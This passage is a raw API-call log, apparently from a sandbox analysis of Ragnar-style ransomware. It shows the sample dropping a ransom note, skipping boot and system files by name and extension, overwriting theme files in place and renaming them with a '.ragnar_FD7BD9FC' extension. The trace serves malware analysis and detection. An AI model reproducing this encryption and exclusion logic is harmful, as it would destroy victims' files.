returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="ProgramData") returned 1 [0075.405] lstrcmpiW (lpString1="REFINED", lpString2="All Users") returned 1 [0075.405] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.405] lstrcpyW (in: lpString1=0x1eb638, lpString2="REFINED" | out: lpString1="REFINED") returned="REFINED" [0075.405] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\" [0075.405] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\" [0075.405] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RGNR_FD7BD9FC.txt" [0075.405] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.407] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*" [0075.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.407] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.408] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f30d500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.408] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f30d500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.408] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.408] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0075.408] lstrcmpiW (lpString1="REFINED.ELM", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="REFINED.ELM", lpString2="..") returned 1 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0075.408] lstrcmpiW (lpString1="REFINED.INF", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="REFINED.INF", lpString2="..") returned 1 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f30d500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.408] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.408] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.408] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.408] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f30d500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.409] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f30d500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.409] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.409] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.409] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.409] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned=".GIF" [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.409] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.409] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0075.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.410] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1423) returned 1 [0075.410] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x586, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.410] GetProcessHeap () returned 0x580000 [0075.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.410] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.411] VirtualAlloc (lpAddress=0x0, dwSize=0x58f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x58f, lpOverlapped=0x0) returned 1 [0075.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.412] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x58f, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.412] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x58f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x58f, lpOverlapped=0x0) returned 1 [0075.412] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x58f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.412] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x58f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.412] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.412] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.412] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.412] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.413] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.413] GetProcessHeap () returned 0x580000 [0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.413] CloseHandle (hObject=0x10c) returned 1 [0075.413] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" [0075.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.415] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0075.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.415] lstrcpyW (in: lpString1=0x1eab70, lpString2="REFINED.ELM" | out: lpString1="REFINED.ELM") returned="REFINED.ELM" [0075.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM") returned=".ELM" [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="autorun.inf") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="boot.ini") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="bootfont.bin") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="bootsect.bak") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="bootmgr") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="bootmgr.efi") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="bootmgfw.efi") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="desktop.ini") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="iconcache.db") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="ntldr") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="ntuser.dat") returned 1 [0075.415] lstrcmpiW (lpString1="REFINED.ELM", lpString2="ntuser.dat.log") returned 1 [0075.416] lstrcmpiW (lpString1="REFINED.ELM", lpString2="ntuser.ini") returned 1 [0075.416] lstrcmpiW (lpString1="REFINED.ELM", lpString2="thumbs.db") returned -1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.416] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0075.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0075.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.416] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=45838) returned 1 [0075.416] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb305, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.416] GetProcessHeap () returned 0x580000 [0075.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.416] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.418] VirtualAlloc (lpAddress=0x0, dwSize=0xb30e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.418] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb30e, lpOverlapped=0x0) returned 1 [0075.419] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.420] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb30e, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.420] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb30e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb30e, lpOverlapped=0x0) returned 1 [0075.420] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb30e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.420] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.420] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb30e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.420] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.420] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.421] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.421] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.421] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.421] GetProcessHeap () returned 0x580000 [0075.421] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.421] CloseHandle (hObject=0x10c) returned 1 [0075.421] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" [0075.421] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 